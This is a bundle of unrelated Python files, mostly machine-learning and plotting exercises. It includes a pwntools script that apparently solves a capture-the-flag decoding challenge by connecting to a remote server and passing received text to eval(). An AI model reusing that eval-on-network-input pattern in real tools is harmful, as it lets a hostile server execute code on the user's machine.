import torch
import torch.nn as nn
import torchvision

class HardSwish(nn.Module):
    def __init__(self, inplace=True):
        super(HardSwish, self).__init__()
        self.relu6 = nn.ReLU6(inplace)

    def forward(self, x):
        return x*self.relu6(x+3)/6

def ConvBNActivation(in_channels,out_channels,kernel_size,stride,activate):
    return nn.Sequential(
            nn.Conv2d(in_channels=in_channels, out_channels=out_channels, kernel_size=kernel_size, stride=stride, padding=(kernel_size-1)//2, groups=in_channels),
            nn.BatchNorm2d(out_channels),
            nn.ReLU6(inplace=True) if activate == 'relu' else HardSwish()
        )

def Conv1x1BNActivation(in_channels,out_channels,activate):
    return nn.Sequential(
            nn.Conv2d(in_channels=in_channels, out_channels=out_channels, kernel_size=1, stride=1),
            nn.BatchNorm2d(out_channels),
            nn.ReLU6(inplace=True) if activate == 'relu' else HardSwish()
        )

def Conv1x1BN(in_channels,out_channels):
    return nn.Sequential(
            nn.Conv2d(in_channels=in_channels, out_channels=out_channels, kernel_size=1, stride=1),
            nn.BatchNorm2d(out_channels)
        )

class SqueezeAndExcite(nn.Module):
    def __init__(self, in_channels, out_channels,se_kernel_size, divide=4):
        super(SqueezeAndExcite, self).__init__()
        mid_channels = in_channels // divide
        self.pool = nn.AvgPool2d(kernel_size=se_kernel_size,stride=1)
        self.SEblock = nn.Sequential(
            nn.Linear(in_features=in_channels, out_features=mid_channels),
            nn.ReLU6(inplace=True),
            nn.Linear(in_features=mid_channels, out_features=out_channels),
            HardSwish(inplace=True),
        )

    def forward(self, x):
        b, c, h, w = x.size()
        out = self.pool(x)
        out = out.view(b, -1)
        out = self.SEblock(out)
        out = out.view(b, c, 1, 1)
        return out * x

class SEInvertedBottleneck(nn.Module):
    def __init__(self, in_channels, mid_channels, out_channels, kernel_size, stride,activate, use_se, se_kernel_size=1):
        super(SEInvertedBottleneck, self).__init__()
        self.stride = stride
        self.use_se = use_se
        # mid_channels = (in_channels * expansion_factor)

        self.conv = Conv1x1BNActivation(in_channels, mid_channels,activate)
        self.depth_conv = ConvBNActivation(mid_channels, mid_channels, kernel_size,stride,activate)
        if self.use_se:
            self.SEblock = SqueezeAndExcite(mid_channels, mid_channels, se_kernel_size)

        self.point_conv = Conv1x1BNActivation(mid_channels, out_channels,activate)

        if self.stride == 1:
            self.shortcut = Conv1x1BN(in_channels, out_channels)

    def forward(self, x):
        out = self.depth_conv(self.conv(x))
        if self.use_se:
            out = self.SEblock(out)
        out = self.point_conv(out)
        out = (out + self.shortcut(x)) if self.stride == 1 else out
        return out

class MobileNetV3(nn.Module):
    def __init__(self, num_classes=1000,type='large'):
        super(MobileNetV3, self).__init__()
        self.type = type

        self.first_conv = nn.Sequential(
            nn.Conv2d(in_channels=3, out_channels=16, kernel_size=3, stride=2, padding=1),
            nn.BatchNorm2d(16),
            HardSwish(inplace=True),
        )

        if type=='large':
            self.large_bottleneck = nn.Sequential(
                SEInvertedBottleneck(in_channels=16, mid_channels=16, out_channels=16, kernel_size=3, stride=1,activate='relu', use_se=False),
                SEInvertedBottleneck(in_channels=16, mid_channels=64, out_channels=24, kernel_size=3, stride=2, activate='relu', use_se=False),
                SEInvertedBottleneck(in_channels=24, mid_channels=72, out_channels=24, kernel_size=3, stride=1, activate='relu', use_se=False),
                SEInvertedBottleneck(in_channels=24, mid_channels=72, out_channels=40, kernel_size=5, stride=2,activate='relu', use_se=True, se_kernel_size=28),
                SEInvertedBottleneck(in_channels=40, mid_channels=120, out_channels=40, kernel_size=5, stride=1,activate='relu', use_se=True, se_kernel_size=28),
                SEInvertedBottleneck(in_channels=40, mid_channels=120, out_channels=40, kernel_size=5, stride=1,activate='relu', use_se=True, se_kernel_size=28),
                SEInvertedBottleneck(in_channels=40, mid_channels=240, out_channels=80, kernel_size=3, stride=1,activate='hswish', use_se=False),
                SEInvertedBottleneck(in_channels=80, mid_channels=200, out_channels=80, kernel_size=3, stride=1,activate='hswish', use_se=False),
                SEInvertedBottleneck(in_channels=80, mid_channels=184, out_channels=80, kernel_size=3, stride=2,activate='hswish', use_se=False),
                SEInvertedBottleneck(in_channels=80, mid_channels=184, out_channels=80, kernel_size=3, stride=1,activate='hswish', use_se=False),
                SEInvertedBottleneck(in_channels=80, mid_channels=480, out_channels=112, kernel_size=3, stride=1,activate='hswish', use_se=True, se_kernel_size=14),
                SEInvertedBottleneck(in_channels=112, mid_channels=672, out_channels=112, kernel_size=3, stride=1,activate='hswish', use_se=True, se_kernel_size=14),
                SEInvertedBottleneck(in_channels=112, mid_channels=672, out_channels=160, kernel_size=5, stride=2,activate='hswish', use_se=True,se_kernel_size=7),
                SEInvertedBottleneck(in_channels=160, mid_channels=960, out_channels=160, kernel_size=5, stride=1,activate='hswish', use_se=True,se_kernel_size=7),
                SEInvertedBottleneck(in_channels=160, mid_channels=960, out_channels=160, kernel_size=5, stride=1,activate='hswish', use_se=True,se_kernel_size=7),
            )

            self.large_last_stage = nn.Sequential(
                nn.Conv2d(in_channels=160, out_channels=960, kernel_size=1, stride=1),
                nn.BatchNorm2d(960),
                HardSwish(inplace=True),
                nn.AvgPool2d(kernel_size=7, stride=1),
                nn.Conv2d(in_channels=960, out_channels=1280, kernel_size=1, stride=1),
                HardSwish(inplace=True),
            )
        else:
            self.small_bottleneck = nn.Sequential(
                SEInvertedBottleneck(in_channels=16, mid_channels=16, out_channels=16, kernel_size=3, stride=2,activate='relu', use_se=True, se_kernel_size=56),
                SEInvertedBottleneck(in_channels=16, mid_channels=72, out_channels=24, kernel_size=3, stride=2,activate='relu', use_se=False),
                SEInvertedBottleneck(in_channels=24, mid_channels=88, out_channels=24, kernel_size=3, stride=1,activate='relu', use_se=False),
                SEInvertedBottleneck(in_channels=24, mid_channels=96, out_channels=40, kernel_size=5, stride=2,activate='hswish', use_se=True, se_kernel_size=14),
                SEInvertedBottleneck(in_channels=40, mid_channels=240, out_channels=40, kernel_size=5, stride=1,activate='hswish', use_se=True, se_kernel_size=14),
                SEInvertedBottleneck(in_channels=40, mid_channels=240, out_channels=40, kernel_size=5, stride=1,activate='hswish', use_se=True, se_kernel_size=14),
                SEInvertedBottleneck(in_channels=40, mid_channels=120, out_channels=48, kernel_size=5, stride=1,activate='hswish', use_se=True, se_kernel_size=14),
                SEInvertedBottleneck(in_channels=48, mid_channels=144, out_channels=48, kernel_size=5, stride=1,activate='hswish', use_se=True, se_kernel_size=14),
                SEInvertedBottleneck(in_channels=48, mid_channels=288, out_channels=96, kernel_size=5, stride=2,activate='hswish', use_se=True, se_kernel_size=7),
                SEInvertedBottleneck(in_channels=96, mid_channels=576, out_channels=96, kernel_size=5, stride=1,activate='hswish', use_se=True, se_kernel_size=7),
                SEInvertedBottleneck(in_channels=96, mid_channels=576, out_channels=96, kernel_size=5, stride=1,activate='hswish', use_se=True, se_kernel_size=7),
            )
            self.small_last_stage = nn.Sequential(
                nn.Conv2d(in_channels=96, out_channels=576, kernel_size=1, stride=1),
                nn.BatchNorm2d(576),
                HardSwish(inplace=True),
                nn.AvgPool2d(kernel_size=7, stride=1),
                nn.Conv2d(in_channels=576, out_channels=1280, kernel_size=1, stride=1),
                HardSwish(inplace=True),
            )

        self.classifier = nn.Linear(in_features=1280,out_features=num_classes)

    def init_params(self):
        for m in self.modules():
            if isinstance(m, nn.Conv2d):
                nn.init.kaiming_normal_(m.weight)
                nn.init.constant_(m.bias, 0)
            elif isinstance(m, nn.BatchNorm2d) or isinstance(m, nn.Linear):
                nn.init.constant_(m.weight, 1)
                nn.init.constant_(m.bias, 0)

    def forward(self, x):
        x = self.first_conv(x)
        if self.type == 'large':
            x = self.large_bottleneck(x)
            x = self.large_last_stage(x)
        else:
            x = self.small_bottleneck(x)
            x = self.small_last_stage(x)
        x = x.view(x.size(0), -1)
        out = self.classifier(x)
        return out

if __name__ == '__main__':
    model = MobileNetV3(type='small')
    print(model)

    input = torch.randn(1, 3, 224, 224)
    out = model(input)
    print(out.shape)


import requests, threading

# all top-level domains
# also known as the two to three letters words after a dot
# example: "https://www.google.com/"
#                              ^^^

TLD_DOMAINS = []

# get the domains from file
TLD_f = open("misc/tlds.txt", "r+")
TLD_DOMAINS = TLD_f.read().split("\n")
TLD_f.close()

# check for all top-level domains for intelligent url input
def __TLD_CLOUD_CHECK__():
    # send request and download the content
    _domains = requests.get("https://data.iana.org/TLD/tlds-alpha-by-domain.txt").content.decode("ascii")

    domains = ""

    # remove all comments and leave domains only
    for tld in _domains.split("\n"):
        if not tld.startswith("#"):
            domains += f"{tld}\n"

    # save it to file
    if not domains == "":
        f = open("misc/tlds.txt", "w+")
        f.write(domains)
        f.close()

def check_for_tlds():
    # tld check thread to eventually prevent from the whole app's crashing
    # and simulatenuously check the domains and run the app
    threading.Thread(None, __TLD_CLOUD_CHECK__).start()


##############################################################
#                                                            #
#    Mark Hoogendoorn and Burkhardt Funk (2017)              #
#    Machine Learning for the Quantified Self                #
#    Springer                                                #
#    Chapter 7                                               #
#                                                            #
##############################################################

import os
import copy
import numpy as np
import pandas as pd
from pathlib import Path
import matplotlib.pyplot as plt
import time
start = time.time()

from sklearn.model_selection import train_test_split

from Chapter7.PrepareDatasetForLearning import PrepareDatasetForLearning
from Chapter7.LearningAlgorithms import ClassificationAlgorithms
from Chapter7.LearningAlgorithms import RegressionAlgorithms
from Chapter7.Evaluation import ClassificationEvaluation
from Chapter7.Evaluation import RegressionEvaluation
from Chapter7.FeatureSelection import FeatureSelectionClassification
from Chapter7.FeatureSelection import FeatureSelectionRegression
from util import util
from util.VisualizeDataset import VisualizeDataset

# Read the result from the previous chapter, and make sure the index is of the type datetime.
DATA_PATH = Path('./intermediate_datafiles/')
DATASET_FNAME = 'chapter5_result.csv'
RESULT_FNAME = 'chapter7_classification_result.csv'
EXPORT_TREE_PATH = Path('./figures/crowdsignals_ch7_classification/')

# Next, we declare the parameters we'll use in the algorithms.
N_FORWARD_SELECTION = 50

try:
    dataset = pd.read_csv(DATA_PATH / DATASET_FNAME, index_col=0)
except IOError as e:
    print('File not found, try to run previous crowdsignals scripts first!')
    raise e

dataset.index = pd.to_datetime(dataset.index)

# Let us create our visualization class again.
DataViz = VisualizeDataset(__file__)

# Let us consider our first task, namely the prediction of the label. We consider this as a non-temporal task.

# We create a single column with the categorical attribute representing our class. Furthermore, we use 70% of our data
# for training and the remaining 30% as an independent test set. We select the sets based on stratified sampling. We remove
# cases where we do not know the label.

prepare = PrepareDatasetForLearning()

train_X, test_X, train_y, test_y = prepare.split_single_dataset_classification(dataset, ['label'], 'like', 0.7, filter=True, temporal=False)

print('Training set length is: ', len(train_X.index))
print('Test set length is: ', len(test_X.index))

# Select subsets of the features that we will consider:

basic_features = ['acc_phone_x','acc_phone_y','acc_phone_z','acc_watch_x','acc_watch_y','acc_watch_z','gyr_phone_x','gyr_phone_y','gyr_phone_z','gyr_watch_x','gyr_watch_y','gyr_watch_z',
                  'hr_watch_rate', 'light_phone_lux','mag_phone_x','mag_phone_y','mag_phone_z','mag_watch_x','mag_watch_y','mag_watch_z','press_phone_pressure']
pca_features = ['pca_1','pca_2','pca_3','pca_4','pca_5','pca_6','pca_7']
time_features = [name for name in dataset.columns if '_temp_' in name]
freq_features = [name for name in dataset.columns if (('_freq' in name) or ('_pse' in name))]
print('#basic features: ', len(basic_features))
print('#PCA features: ', len(pca_features))
print('#time features: ', len(time_features))
print('#frequency features: ', len(freq_features))
cluster_features = ['cluster']
print('#cluster features: ', len(cluster_features))
features_after_chapter_3 = list(set().union(basic_features, pca_features))
features_after_chapter_4 = list(set().union(basic_features, pca_features, time_features, freq_features))
features_after_chapter_5 = list(set().union(basic_features, pca_features, time_features, freq_features, cluster_features))

# # First, let us consider the performance over a selection of features:

fs = FeatureSelectionClassification()

features, ordered_features, ordered_scores = fs.forward_selection(N_FORWARD_SELECTION,
                                                                  train_X[features_after_chapter_5],
                                                                  test_X[features_after_chapter_5],
                                                                  train_y,
                                                                  test_y,
                                                                  gridsearch=False)

DataViz.plot_xy(x=[range(1, N_FORWARD_SELECTION+1)], y=[ordered_scores],
                xlabel='number of features', ylabel='accuracy')

# based on python2 features, slightly different.
selected_features = ['acc_phone_y_freq_0.0_Hz_ws_40', 'press_phone_pressure_temp_mean_ws_120', 'gyr_phone_x_temp_std_ws_120',
                     'mag_watch_y_pse', 'mag_phone_z_max_freq', 'gyr_watch_y_freq_weighted', 'gyr_phone_y_freq_1.0_Hz_ws_40',
                     'acc_phone_x_freq_1.9_Hz_ws_40', 'mag_watch_z_freq_0.9_Hz_ws_40', 'acc_watch_y_freq_0.5_Hz_ws_40']

# # # Let us first study the impact of regularization and model complexity: does regularization prevent overfitting?

learner = ClassificationAlgorithms()
eval = ClassificationEvaluation()
start = time.time()

reg_parameters = [0.0001, 0.001, 0.01, 0.1, 1, 10]
performance_training = []
performance_test = []
## Due to runtime constraints we run the experiment 3 times, yet if you want even more robust data one should increase the repetitions.
N_REPEATS_NN = 3

for reg_param in reg_parameters:
    performance_tr = 0
    performance_te = 0
    for i in range(0, N_REPEATS_NN):

        class_train_y, class_test_y, class_train_prob_y, class_test_prob_y = learner.feedforward_neural_network(
            train_X, train_y,
            test_X, hidden_layer_sizes=(250, ), alpha=reg_param, max_iter=500,
            gridsearch=False
        )

        performance_tr += eval.accuracy(train_y, class_train_y)
        performance_te += eval.accuracy(test_y, class_test_y)
    performance_training.append(performance_tr/N_REPEATS_NN)
    performance_test.append(performance_te/N_REPEATS_NN)
DataViz.plot_xy(x=[reg_parameters, reg_parameters], y=[performance_training, performance_test], method='semilogx',
                xlabel='regularization parameter value', ylabel='accuracy', ylim=[0.95, 1.01],
                names=['training', 'test'], line_styles=['r-', 'b:'])

#Second, let us consider the influence of certain parameter settings for the tree model. (very related to the
#regularization) and study the impact on performance.

leaf_settings = [1,2,5,10]
performance_training = []
performance_test = []

for no_points_leaf in leaf_settings:

    class_train_y, class_test_y, class_train_prob_y, class_test_prob_y = learner.decision_tree(
        train_X[selected_features], train_y, test_X[selected_features], min_samples_leaf=no_points_leaf,
        gridsearch=False, print_model_details=False)

    performance_training.append(eval.accuracy(train_y, class_train_y))
    performance_test.append(eval.accuracy(test_y, class_test_y))

DataViz.plot_xy(x=[leaf_settings, leaf_settings], y=[performance_training, performance_test],
                xlabel='minimum number of points per leaf', ylabel='accuracy',
                names=['training', 'test'], line_styles=['r-', 'b:'])

# So yes, it is important :) Therefore we perform grid searches over the most important parameters, and do so by means
# of cross validation upon the training set.

possible_feature_sets = [basic_features, features_after_chapter_3, features_after_chapter_4, features_after_chapter_5, selected_features]
feature_names = ['initial set', 'Chapter 3', 'Chapter 4', 'Chapter 5', 'Selected features']
N_KCV_REPEATS = 5

print('Preprocessing took', time.time()-start, 'seconds.')

scores_over_all_algs = []

for i in range(0, len(possible_feature_sets)):
    selected_train_X = train_X[possible_feature_sets[i]]
    selected_test_X = test_X[possible_feature_sets[i]]

    # First we run our non deterministic classifiers a number of times to average their score.

    performance_tr_nn = 0
    performance_tr_rf = 0
    performance_tr_svm = 0
    performance_te_nn = 0
    performance_te_rf = 0
    performance_te_svm = 0

    for repeat in range(0, N_KCV_REPEATS):
        print("Training NeuralNetwork run {} / {} ... ".format(repeat, N_KCV_REPEATS, feature_names[i]))
        class_train_y, class_test_y, class_train_prob_y, class_test_prob_y = learner.feedforward_neural_network(
            selected_train_X, train_y, selected_test_X, gridsearch=True
        )
        print("Training RandomForest run {} / {} ... ".format(repeat, N_KCV_REPEATS, feature_names[i]))
        performance_tr_nn += eval.accuracy(train_y, class_train_y)
        performance_te_nn += eval.accuracy(test_y, class_test_y)

        class_train_y, class_test_y, class_train_prob_y, class_test_prob_y = learner.random_forest(
            selected_train_X, train_y, selected_test_X, gridsearch=True
        )

        performance_tr_rf += eval.accuracy(train_y, class_train_y)
        performance_te_rf += eval.accuracy(test_y, class_test_y)

        print("Training SVM run {} / {}, featureset: {}... ".format(repeat, N_KCV_REPEATS, feature_names[i]))

        class_train_y, class_test_y, class_train_prob_y, class_test_prob_y = learner.support_vector_machine_with_kernel(
            selected_train_X, train_y, selected_test_X, gridsearch=True
        )
        performance_tr_svm += eval.accuracy(train_y, class_train_y)
        performance_te_svm += eval.accuracy(test_y, class_test_y)

    overall_performance_tr_nn = performance_tr_nn/N_KCV_REPEATS
    overall_performance_te_nn = performance_te_nn/N_KCV_REPEATS
    overall_performance_tr_rf = performance_tr_rf/N_KCV_REPEATS
    overall_performance_te_rf = performance_te_rf/N_KCV_REPEATS
    overall_performance_tr_svm = performance_tr_svm/N_KCV_REPEATS
    overall_performance_te_svm = performance_te_svm/N_KCV_REPEATS

#     #And we run our deterministic classifiers:
    print("Determenistic Classifiers:")

    print("Training Nearest Neighbor run 1 / 1, featureset {}:".format(feature_names[i]))
    class_train_y, class_test_y, class_train_prob_y, class_test_prob_y = learner.k_nearest_neighbor(
        selected_train_X, train_y, selected_test_X, gridsearch=True
    )
    performance_tr_knn = eval.accuracy(train_y, class_train_y)
    performance_te_knn = eval.accuracy(test_y, class_test_y)
    print("Training Descision Tree run 1 / 1  featureset {}:".format(feature_names[i]))
    class_train_y, class_test_y, class_train_prob_y, class_test_prob_y = learner.decision_tree(
        selected_train_X, train_y, selected_test_X, gridsearch=True
    )

    performance_tr_dt = eval.accuracy(train_y, class_train_y)
    performance_te_dt = eval.accuracy(test_y, class_test_y)
    print("Training Naive Bayes run 1/1 featureset {}:".format(feature_names[i]))
    class_train_y, class_test_y, class_train_prob_y, class_test_prob_y = learner.naive_bayes(
        selected_train_X, train_y, selected_test_X
    )

    performance_tr_nb = eval.accuracy(train_y, class_train_y)
    performance_te_nb = eval.accuracy(test_y, class_test_y)

    scores_with_sd = util.print_table_row_performances(feature_names[i], len(selected_train_X.index), len(selected_test_X.index), [
                                                                                (overall_performance_tr_nn, overall_performance_te_nn),
                                                                                (overall_performance_tr_rf, overall_performance_te_rf),
                                                                                (overall_performance_tr_svm, overall_performance_te_svm),
                                                                                (performance_tr_knn, performance_te_knn),
                                                                                (performance_tr_dt, performance_te_dt),
                                                                                (performance_tr_nb, performance_te_nb)])
    scores_over_all_algs.append(scores_with_sd)

DataViz.plot_performances_classification(['NN', 'RF','SVM', 'KNN', 'DT', 'NB'], feature_names, scores_over_all_algs)

# # And we study two promising ones in more detail. First, let us consider the decision tree, which works best with the
# # selected features.

class_train_y, class_test_y, class_train_prob_y, class_test_prob_y = learner.decision_tree(train_X[selected_features], train_y, test_X[selected_features],
                                                                                gridsearch=True,
                                                                                print_model_details=True, export_tree_path=EXPORT_TREE_PATH)

class_train_y, class_test_y, class_train_prob_y, class_test_prob_y = learner.random_forest(
    train_X[selected_features], train_y, test_X[selected_features],
    gridsearch=True, print_model_details=True)

test_cm = eval.confusion_matrix(test_y, class_test_y, class_train_prob_y.columns)

DataViz.plot_confusion_matrix(test_cm, class_train_prob_y.columns, normalize=False)


from typing import Type
import numpy as np
import matplotlib.pyplot as plt

class MyLinearRegression():
	def __init__(self, thetas, alpha=0.001, max_iter=1000):
		if not isinstance(thetas, list):
			raise TypeError("thetas should be a list")
		if len(thetas) != 2 or not isinstance(thetas[0], (int, float)) or not isinstance(thetas[1], (int, float)):
			raise ValueError("Thetas should be a list of two floats")
		if not isinstance(alpha, float):
			raise TypeError("Alpha should be a float")
		if not (alpha <= 1 and alpha >= 0):
			raise ValueError("Alpha should be between 0 and 1")
		if not isinstance(max_iter, int):
			raise TypeError("max_iter should be an int")
		if not max_iter >= 0:
			raise ValueError("Max_iter should be positive.")
		self.alpha = alpha
		self.max_iter = max_iter
		self.thetas = thetas

	@staticmethod
	def loss_elem_(y, y_hat):
		if type(y) != type(np.ndarray([])) or type(y_hat) != type(np.ndarray([])):
			return None
		if y.size != y_hat.size:
			return None
		if y.ndim == 1:
			y = y.reshape(y.size, 1)
		if y_hat.ndim == 1:
			y_hat = y_hat.reshape(y_hat.size, 1)
		M = y.size
		tab = []
		x = np.array([])
		for y_val, y_hat_val in np.nditer([y, y_hat]):
			under = []
			tmp = (y_hat_val - y_val)**2
			under.append(tmp)
			tab.append(under)
		res = np.array(tab)
		return res

	@staticmethod
	def loss_(y, y_hat):
		if type(y) != type(np.ndarray([])) or type(y_hat) != type(np.ndarray([])):
			return None
		if y.size != y_hat.size:
			return None
		M = y.size
		tab = []
		for yv, yhv in zip(y, y_hat):
			tab.append((yhv - yv))
		vec = np.array(tab)
		vect = np.transpose(vec)
		#print(vect)
		#print(vec)
		return ((1/(2 * M)) * (vect.dot(vec)))[0][0]
		#return (vec.dot(vec))

	def gradient_(self, x, y, th):
		if type(x) != type(np.ndarray([])) or type(y) != type(np.ndarray([])):
			return None
		arrx = np.append([], x)
		arry = np.append([], y)
		nabla = 0
		if arrx.ndim == 1:
			arrx = arrx.reshape(arrx.size, 1)
		xi = np.insert(arrx, 0, 1, axis=1)
		xt = np.transpose(xi)
		M = xt.shape[1]
		nabla = (xt.dot(np.matmul(xi, th) - arry))/M
		return nabla

	def fit_(self, x, y):
		t1 = self.thetas[0] - self.alpha * self.gradient_(x, y, self.thetas)[0]
		t2 = self.thetas[1] - self.alpha * self.gradient_(x, y, self.thetas)[1]
		nthet = np.append([], [t1, t2])
		for i in range(self.max_iter - 1):
			t1 = t1 - self.alpha * self.gradient_(x, y, nthet)[0]
			t2 = t2 - self.alpha * self.gradient_(x, y, nthet)[1]
			nthet = np.append([], [t1, t2])
		self.thetas = nthet
		return nthet

	def predict_(self, x):
		if type(x) != type(np.ndarray([])):
			return None
		if x.ndim == 1:
			x = x.reshape(x.size, 1)
		x = np.insert(x, 0, 1, axis=1)
		y_hat = x.dot(self.thetas)
		return y_hat

	def plot_with_cost(self, x, y):
		#ybis = theta[0] + theta[1] * xbis
		ones = np.array([])
		for i in y:
			ones = np.insert(ones, 0, 0, axis=0)
		print(ones)
		y_hat = self.predict_(x)
		print(y_hat)
		plt.plot(x, y_hat, 'r')
		plt.scatter(x, y)
		plt.vlines(x, y, y_hat, 'g', '--')
		plt.title("Cost: " + str(format(2 * self.loss_(y, y_hat), '.6f')))
		plt.show()

x = np.array([[12.4956442], [21.5007972], [31.5527382], [48.9145838], [57.5088733]])
y = np.array([[37.4013816], [36.1473236], [45.7655287], [46.6793434], [59.5585554]])
lr1 = MyLinearRegression([2, 0.7])
print(lr1.predict_(x))
print(lr1.loss_elem_(lr1.predict_(x),y))
print(lr1.loss_(lr1.predict_(x),y))

lr2 = MyLinearRegression([1, 1], 5e-5, 1500)
#lr2 = MyLinearRegression([1, 1], 5e-8, 1500000) // same shit, too long, compensate gradient descent with factors of ten,
## it's cheating a little bit because we don't actually know now if we have rights values.
print(lr2.fit_(x, y))
print(lr2.thetas)
print(lr2.predict_(x))
print(MyLinearRegression.loss_elem_(lr2.predict_(x),y))
print(MyLinearRegression.loss_(lr2.predict_(x),y))
lr2.plot_with_cost(x, y)


import pandas as pd
import numpy as np
from scipy import stats
import librosa as lr
from scipy.signal import filtfilt, argrelmax, find_peaks, correlate

def autocorrelation(array, samplerate=220, max_len_autocorr=220):
    try:
        autocorr = correlate(array, array)
        autocorr = autocorr[autocorr.shape[0]//2:]
        peaks = find_peaks(autocorr[:max_len_autocorr])
        if len(peaks[0]) == 0:
            peakpos = max_len_autocorr
            peakval = 1
        else:
            peakpos = peaks[0][0]
            peakval = autocorr[peaks[0][0]] / autocorr[0]
        return {'autocorr_peak_position': peakpos / samplerate,
                'autocorr_peak_value_normalized': peakval,
                'autocorr_ZCR': np.sum(lr.core.zero_crossings(autocorr[:max_len_autocorr])) / max_len_autocorr}
    except ValueError as e:
        return {'autocorr_peak_position': max_len_autocorr / samplerate,
                'autocorr_peak_value_normalized': 1,
                'autocorr_ZCR': 0}

def get_features(array, samplerate=220, max_len_autocorr=220):
    argmin = np.argmin(array)
    argmax = np.argmax(array)
    std = np.std(array)
    rms = np.sqrt(np.mean(array**2))
    acr = autocorrelation(array)
    zcr = np.sum(lr.core.zero_crossings(array)) / array.shape[0]
    return [array[argmin], array[argmax], np.mean(array), std,
            np.percentile(array, 10), np.percentile(array, 25),
            np.percentile(array, 50), np.percentile(array, 75), np.percentile(array, 90),
            stats.skew(array), stats.kurtosis(array),
            rms, rms / std,
            array[argmax] / array[argmin],
            acr['autocorr_peak_position'],
            acr['autocorr_peak_value_normalized'],
            acr['autocorr_ZCR']]

def get_features_with_derivative(array, samplerate=220, max_len_autocorr=220):
	feat_basic = get_features(array, samplerate, max_len_autocorr)
	feat_deriv = get_features(np.gradient(array), samplerate, max_len_autocorr)
	return feat_basic + feat_deriv


from pwn import *
import sys
from Crypto.Util.number import long_to_bytes

def init():
    p = remote(sys.argv[1], sys.argv[2])
    return Exploit(p), p

class Exploit:
    def __init__(self, p: process):
        self.p = p

    def start(self):
        p = self.p
        p.recvuntil(b"here we go:\n")

def main():
    x, p = init()
    x.start()
    for _ in range(100):
        val = p.recvline().decode()
        print(val)
        if val.startswith("0x"):
            a = long_to_bytes(eval(val))
            p.sendline(a)
        elif val.startswith("0b"):
            a = long_to_bytes(eval(val))
            p.sendline(a)
        else:
            a = base64.b64decode(val)
            p.sendline(a)
        print(a)
    p.interactive()

main()


import matplotlib.pyplot as plt
import datetime

time = []
aqi = []
filename = str(datetime.date.today())
file = open("AQI/AQI"+filename+".txt", "r+")
line = file.readline()
while line:
    time.append(int(line[0:2]))
    aqi.append(int(line[3:6]))
    line = file.readline()
file.close()
plt.bar(time, aqi, width=0.25)
plt.xticks(time)
plt.xlim()
plt.ylim(0, 300)
for x, y in zip(time, aqi):
    plt.text(x, y, '%d' % y, ha='center', va='bottom')
plt.savefig("AQI/AQI"+filename)


#!/usr/bin/env python
# -*- coding: utf-8 -*-

from setuptools import setup, find_packages
import sys

# add back later
if sys.version_info[0] != 3:
    # sys.exit("Only Python 3 is supported")
    print("WARNING: Only Python 3 is supported")

# with open('README.md') as readme_file:
#     readme = readme_file.read()

requirements = [
    "numpy",
    "pandas",
    "scipy",
    "scikit-learn>=0.18",
    "matplotlib",
    # "tensorflow", # - not per-se required
    # "glmnet",
    "keras>=2.0.4,<=2.2.4",
    'descartes',
    'shapely',
    'gtfparse>=1.0.7'
]

test_requirements = [
    "pytest",
    'hyperopt',
]

setup(
    name='concise',
    version='0.6.9',
    description="CONCISE (COnvolutional Neural for CIS-regulatory Elements)",
    # long_description=readme,
    author="Žiga Avsec",
    author_email='avsec@in.tum.de',
    url='https://github.com/gagneurlab/concise',
    packages=find_packages(),
    package_data={'concise.resources': ['attract_metadata.txt', 'attract_pwm.txt',
                                        'encode_motifs.txt.gz',
                                        'HOCOMOCOv10_pcms_HUMAN_mono.txt'],
                  'concise.resources.RNAplfold': ["H_RNAplfold", "I_RNAplfold", "M_RNAplfold", "E_RNAplfold"]},
    include_package_data=True,
    setup_requires=['numpy'],
    install_requires=requirements,
    # dependency_links=dependency_links,
    license="MIT license",
    zip_safe=False,
    keywords=["computational biology", "bioinformatics", "genomics",
              "deep learning", "tensorflow", ],
    extras_require={
        'tensorflow': ['tensorflow>=1.0'],
        'tensorflow with gpu': ['tensorflow-gpu>=1.0']},
    classifiers=[
        # classifiers
        # default
        'Topic :: Scientific/Engineering :: Bio-Informatics',
        'Topic :: Scientific/Engineering :: Artificial Intelligence',
        'Development Status :: 2 - Pre-Alpha',
        'Intended Audience :: Developers',
        'License :: OSI Approved :: MIT License',
        'Natural Language :: English',
        'Programming Language :: Python :: 3.4',
        'Programming Language :: Python :: 3.5',
    ],
    test_suite='tests',
    tests_require=test_requirements
)


import csv
import matplotlib.pyplot as plt
from sat_to_act import sat_to_act

labels = None
dataset = None

college_name = 'Illinois'

with open('./data/College Data - ' + college_name + '.csv') as f:
    data = csv.reader(f)
    # labels = data[0]
    # dataset = data[1:]
    dataset = []
    i = 0
    for d in data:
        if i != 0:
            dataset.append(d)
        i += 1
    i = 0
    while i < len(dataset):
        d = dataset[i]
        if not dataset[i][1] in ['Accepted', 'Denied', 'Deferred', 'Waitlisted']:
            dataset.remove(d)
            i-=1
        elif max(sat_to_act(d[6]) if d[6].isdigit() else 0, int(d[7]) if d[7].isdigit() else 0) == 0:
            dataset.remove(d)
            i-=1
        i+=1
    plt.xlabel("ACT")
    plt.ylabel("GPA")
    plt.title(college_name + " Scattergram")
    plt.scatter([max(sat_to_act(d[6]) if d[6].isdigit() else 0, int(d[7]) if d[7].isdigit() else 0) for d in dataset], [float(d[5]) for d in dataset], marker='x', c=['green' if d[1] in ['Accepted', 'Deferred'] else 'red' if d[1] in ['Denied', 'Waitlisted'] else 'yellow' for d in dataset])
    plt.show()


# Exercise 3-09: Evaluate the RF regressor

import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestRegressor
from sklearn.metrics import mean_squared_error as MSE

SEED = 2

df = pd.read_csv('input/bikes.csv')

y = df['cnt']
X = df.drop(['cnt'], axis=1)

X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=SEED)

rf = RandomForestRegressor(n_estimators=25, random_state=SEED)
rf.fit(X_train, y_train)

# Predict the test set labels
y_pred = rf.predict(X_test)

# Evaluate the test set RMSE
rmse_test = MSE(y_test, y_pred)**(1/2)

# Print rmse_test
print('Test set RMSE of rf: {:.2f}'.format(rmse_test))


#pretraga.py
import unosEntiteta
import datetime

def pretragaKolicine():
	listaRecnikaNamestaja=pretragaUcitajNamestaj()
	donja,gornja=pretragaUcitajKolicine()

	listaTrazenih=[]
	for recnik in listaRecnikaNamestaja:
		if (recnik["kolicina"]>=donja and recnik["kolicina"]<=gornja and recnik["obrisano"]=="false"):
			listaTrazenih.append(recnik)

	sortirajPoKolicini(listaTrazenih)
	pretragaIspisNamestaja(listaTrazenih)

def pretragaUcitajKolicine():
	print("Unesite donju granicu cene")
	donja=unosEntiteta.unosKolicina()
	print("Unesite gornju granicu cene")
